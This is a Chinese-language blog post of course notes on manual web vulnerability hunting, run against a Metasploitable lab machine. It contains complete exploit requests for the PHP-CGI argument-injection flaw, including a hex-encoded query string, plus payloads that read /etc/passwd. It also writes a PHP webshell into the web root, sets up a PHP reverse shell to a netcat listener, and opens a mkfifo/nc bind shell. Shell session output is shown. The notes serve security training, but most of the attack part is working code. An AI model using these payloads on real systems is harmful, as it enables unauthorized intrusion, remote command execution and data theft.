Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

程序员文章站 2022-07-15 15:56:19

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本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试（苑房弘）博客记录

1. 手动漏洞挖掘的原则
2. 漏洞的本质
3. 身份认证漏洞
    3-1. 针对身份认证
    3-2. 会话 SessionID
    3-3. 密码找回时的漏洞
4. 默认安装漏洞
    4-1. phpMyAdminsetup
        4-1-1. 测试 DVWA 的 phpMyAdmin 漏洞
        4-1-2. 写入简单 webshell
        4-1-3. PHP 反弹 shell
    4-2. Ubuntu Debian 默认安装 PHP5-cgi
        4-2-1. 测试漏洞
        4-2-2. 服务器打开侦听端口

手动漏洞挖掘的原则

所有变量
所有头

Cookie的变量
逐个变量删除

漏洞的本质

数据与指令的混淆
对用户输入信息过滤不严判断失误，误将指令当数据

身份认证漏洞

针对身份认证

使用常用弱口令/基于字典的密码暴力**
测试是否锁定账号
测试基于手机号的用户名**，可以在站内论坛收集用户信息
查看错误秘密提升信息，可以判断用户名或者密码错误
密码嗅探工具可以直接获取密码

会话 SessionID

Xss / cookie importer
SessionID in URL
使用嗅探工具.
测试 SessionID 是否是长期不变的
破译 SessionID 生成算法
• Sequencer
• 私有算法
• 预判下一次登录时生成的 SessionID
• 登出后返回测试

密码找回时的漏洞

在 URL 中存在密码的散列值，可以直接进行密码设置

默认安装漏洞

phpMyAdmin/setup

测试 DVWA 的 phpMyAdmin 漏洞

Burpsuite 测试命令

POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10

<?php
passthru('id');
die(); #dir()终止后续的显示
?>

Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

查看权限

POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 64

<?php
passthru('id');
passthru('cat /etc/passwd');
die();
?>

查看可以使用的命令

POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 114

<?php
passthru('id');
passthru('cat /etc/passwd');
passthru('ls');
passthru('reboot'); #非管理员权限无法重启
die();
?>

测试写入权限

POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 114

<?php
passthru('id');
passthru('echo "123456789" > a.txt');
passthru('cat a.txt');
passthru('ls');
die();
?>

写入简单 webshell

简单网页木马

<?php
\$cmd = \$_GET["cmd"];
system(\$cmd);
?>

上传木马

POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 133

<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php');
passthru('cat /var/www/3.php');
die();
?>

验证此简单木马

PHP 反弹 shell

获取 webshell

aaa@qq.com:~# cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/test.php

修改要反弹到的主机IP
通过 POST 方法直接将文本内容发给目标服务器

开始监听反弹的端口

aaa@qq.com:~# nc -nvvlp 1234
listening on [any] 1234 ...

BurpSuite 发送请求，执行木马并反弹

查看 nc 的监听情况

aaa@qq.com:~# nc -nvvlp 1234
listening on [any] 1234 ...
connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 43856
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 04:28:00 up  2:57,  2 users,  load average: 0.03, 0.01, 0.00
USER     TTY      FROM              aaa@qq.com   IDLE   JCPU   PCPU WHAT
msfadmin tty1     -                03Mar18  1:48   0.01s  0.00s /bin/login -- 
root     pts/0    :0.0             03Mar18 17days  0.00s  0.00s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2$

使用 nc 直接进行操作

sh-3.2$ pwd
/
sh-3.2$ cd home
sh-3.2$ ls
ftp
msfadmin
service
user
sh-3.2$ pwd
/home
sh-3.2$ netstat -tulnp   
sh-3.2$ which ifconfig
sh-3.2$ whereis ifconfig                                          
ifconfig: /sbin/ifconfig /usr/share/man/man8/ifconfig.8.gz
sh-3.2$ /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:d0:ab:2c  
          inet addr:10.10.10.132  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fed0:ab2c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3232 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1065 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:301079 (294.0 KB)  TX bytes:278971 (272.4 KB)
          Base address:0x2000 Memory:fd5c0000-fd5e0000 
sh-3.2$

Ubuntu / Debian 默认安装 PHP5-cgi

可直接访问 /cgi-bin/php5 和 /cgi-bin/php (爬不出来的目录)

测试漏洞

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 86

<?php
passthru('id');
echo exec('pwd');
echo system('cat /etc/passwd');
die();
?>

服务器打开侦听端口

服务器打开端口

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 86

<?php
system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
die();
?>

Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

kali 验证 shell

aaa@qq.com:~# nc 10.10.10.132 4444
ls
php
php5
pwd
/usr/lib/cgi-bin
ls /var/www
3.php
dav
dvwa
index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki

kali 端口 nc

aaa@qq.com:~# nc 10.10.10.132 4444
ls /var/www
3.php
dav
dvwa
index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki
exit
exit
aaa@qq.com:~#

BurpSuite 上显示此次访问结束